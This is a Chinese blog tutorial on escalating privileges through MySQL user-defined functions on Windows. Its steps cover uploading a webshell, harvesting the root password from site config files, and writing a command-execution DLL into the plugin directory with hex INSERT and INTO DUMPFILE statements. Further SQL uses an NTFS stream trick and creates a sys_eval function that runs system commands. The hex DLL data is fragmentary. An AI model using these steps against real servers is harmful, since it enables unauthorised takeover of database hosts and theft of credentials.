【MySQL提权】UDF提权(附带大马)

目录

 附带:

一、基础知识:

DLL:

UDF

思路:

前提:

二、利用过程:

第一步:上传大马,查看版本,读取配置文件root账户密码

第二步:查secure_file_priv值,并更改(my.ini目录下)

第三步:查看系统框架以及plugin目录

第四步:使用大马导出dll文件提权

第五步:手动写入dll文件

方法一:

方法二:

第六步:(直接)大马写入DLL文件


 附带:

【PHP大马】定义、下载、使用、源码icon-default.png?t=M666https://blog.csdn.net/qq_53079406/article/details/125084768?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165875214216781818749550%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165875214216781818749550&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125084768-null-null.185^v2^control&utm_term=%E5%A4%A7%E9%A9%AC&spm=1018.2226.3001.4450

一、基础知识:

DLL:

在windows下存在一个叫做动态链接库的东西,俗称DLL。该文件会把程序代码中使用的函数编译成机器码,保存在DLL文件中;

编译时,EXE执行文件索要调用的函数在哪个DLL文件中,执行时会自动从DLL文件中调用指定的函数


UDF

user defined function(用户自定义函数)

udf在mysql5.1以后的版本中,存在于’mysql/lib/plugin’目录下,文件后缀为'.dll'

思路:

通过添加新函数,对MYSQL的功能进行扩充

1、将含有cmd函数的DLL文件写入指定文件夹下

2、基于DLL文件创建自定义函数

3、基于自定义函数调用相应的函数,传入参数,执行系统命令(该命令执行权限为system)

前提:

1、MYSQL版本大于5.1:DLL文件必须放置在MYSQL安装目录下的lib\plugin目录下

2、MYSQL版本小于5.1大于5.0:在Windows2003下DLL文件放置于C:\windows\system32;在windows2000下DLL文件放置于C:\winnt\system32

3、MYSQL版本小于5.0:DLL文件可任意放置 MYSQL数据库用户具有创建和删除函数的权限 DLL文件有写入指定目录的权限


在MySQL高版本中secure-file-priv参数限制了MySQL的导出
1、NULL,表示禁止
2、value值有文件夹目录,则表示只允许该目录下文件(子目录都不行)
2、如果为空(没有值),则表示不限制目录
MySQL5.0/5.6版本:my.ini中无此参数,值为空,不限制目录
MySQL5.7版本:my.ini中存在参数,值为NULL,不允许导出



二、利用过程:

第一步:上传大马,查看版本,读取配置文件root账户密码

查看网站源码里面数据库配置文

(conn.php,config.php,dbconfig.php,config.inc.php,common.inc.php,inc,conn,config.sql,common,data,sql,data,inc,config,conn,database,common,include)

 


第二步:查secure_file_priv值,并更改(my.ini目录下)

show global variables like 'secure%';

或者直接在文件夹里面找

secure_file_priv 的值表示
NULL,禁止导入|导出
value值有文件夹目录只允许该目录下文件(子目录都不行)导入|导出
为空(没有值)不限制目录导入|导出

第三步:查看系统框架以及plugin目录

show variables like '%compile%';

#查看主机版本及架构

show variables like 'plugin%';

#查看 plugin 目录

select @@plugin_dir;

加载失败可先尝试删除原有的扩展名:delete from mysql.func where name='cmdshell';

 

 

第四步:使用大马导出dll文件提权

导出udf,如果脚本没法导出udf文件,也可以手动将该文件复制到plugin文件夹下

(创建plugin目录、复制粘贴udf文件都需要一定的权限)

第五步:手动写入dll文件

方法一:

MYSQL大于5.1情况下,可能默认不存在plugin目录(利用NTFS ADS流创建plugin目录)

create table temp(data longblob);


insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);


update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);


当MySQL大于5.1时,默认是没有 lib\plugin 目录的

而 into dumpfile在写入文件时也不能创建文件夹,所以也就报错了:Can't create/write

select data from temp into dumpfile "D:\\BaiduNetdiskDownload\\phpstudy\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll";


创建自定义函数sys_eval

create function sys_eval returns string soname 'udf.dll';

方法二:

1、查找MYSQL目录

select @@basedir;

2、创建lib目录

select 'It is dll' into dumpfile 'MYSQL目录\\lib::$INDEX_ALLOCATION';

3、创建plugin目录

select 'It is dll' into dumpfile 'MYSQL目录\\lib\\plugin::$INDEX_ALLOCATION';


我得出来的结果还是:Can't create/write

第六步:(直接)大马写入DLL文件

前提:

先导出DLL,再执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件

  • 3
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值